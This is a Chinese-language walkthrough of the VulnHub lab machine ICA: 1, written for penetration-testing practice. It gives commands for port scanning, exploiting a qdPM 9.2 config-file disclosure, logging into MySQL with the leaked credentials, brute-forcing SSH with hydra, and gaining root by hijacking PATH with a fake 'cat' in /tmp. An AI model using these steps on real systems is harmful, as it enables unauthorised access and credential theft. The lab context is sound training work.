准备:
攻击机:虚拟机kali、本机win10。
靶机:ICA: 1,网段地址我这里设置的桥接,所以与本机电脑在同一网段,下载地址:https://download.vulnhub.com/ica/ica1.zip.torrent,下载后直接vbox打开即可。
知识点:框架qdpm 9.2漏洞、数据库的基本使用、hydra的暴力破解、环境变量替换命令。
信息收集:
扫描下端口对应的服务:nmap -T4 -sV -p- -A 192.168.100.197,显示开放了22、80、3306端口,开放了ssh、apache、mysql服务。dirmap目录扫描未发现有用的信息。
漏洞利用(qdpm 9.2):
访问下80端口,发现是一个登录界面,显示了所使用的框架信息:qdpm 9.2。
在网站:https://www.exploit-db.com/搜索下是否存在可利用的exp,发现存在两个exp,在第二个exp(未经验证账户的密码暴漏)中发现存在我们可以直接读取/core/config/databases.yml文件,尝试读取下文件信息,获取到数据库账户名和密码:qdpmadmin/UcVQCMQk2STVeS6J。
数据库信息收集和利用:
通过获取的数据库账户名和密码:qdpmadmin/UcVQCMQk2STVeS6J登录数据库查看,登录命令:mysql -h192.168.100.197 -uqdpmadmin -pUcVQCMQk2STVeS6J,发现数据库:qdpm、staff,在数据库中查找信息,最后在staff数据库中发现管理人员的账号信息和密码信息(base64加密)。账户名:Smith、Lucas、Travis、Dexter、Meyer,密码解密后:suRJAdGwLp8dy3rF、7ZwV4qtg42cmUXGX、X7MQkP3W29fewHdC、DJceVy98W28Y7wLg、cqNnBWCByS2DuJSy。
我们将获得账户名和密码放入username和passwd文件中使用hydra进行爆破一下,命令:hydra -L username -P passwd ssh://192.168.100.197,成功获取到两个有用的账户名和密码:travis/DJceVy98W28Y7wLg、dexter/7ZwV4qtg42cmUXGX。
或者在windows上使用弱口令工具自己加载密码本也可以破解。
利用获得账户名和密码使用xshell进行尝试登录,在travis账户下发现user.txt、在dexter账户下发现note.txt,查看文件信息获得提示和flag。
提权:
提示信息告诉我们和可执行文件有关,那我们查看下具有root权限的可执行文件都有哪些,命令:find / -perm -4000 -type f 2>/dev/null,找到/opt/get_acess文件。
使用string get_access查看下文件信息,发现存在一个cat命令未指定具体路径。
那我们就可以自己设置一个cat命令写入环境变量,让其引用我们的cat命令即可执行我们写入的代码。
echo '/bin/bash' > /tmp/cat
chmod +x /tmp/cat
export PATH=/tmp:$PATH
echo $PATH
执行get_access脚本,获得root权限。
因为我们更改了cat命令,所以这时候使用vim root.txt查看下文件的内容或者删除下/tmp/cat文件,然后cat root.txt查看为文件内容,成功获取到flag信息。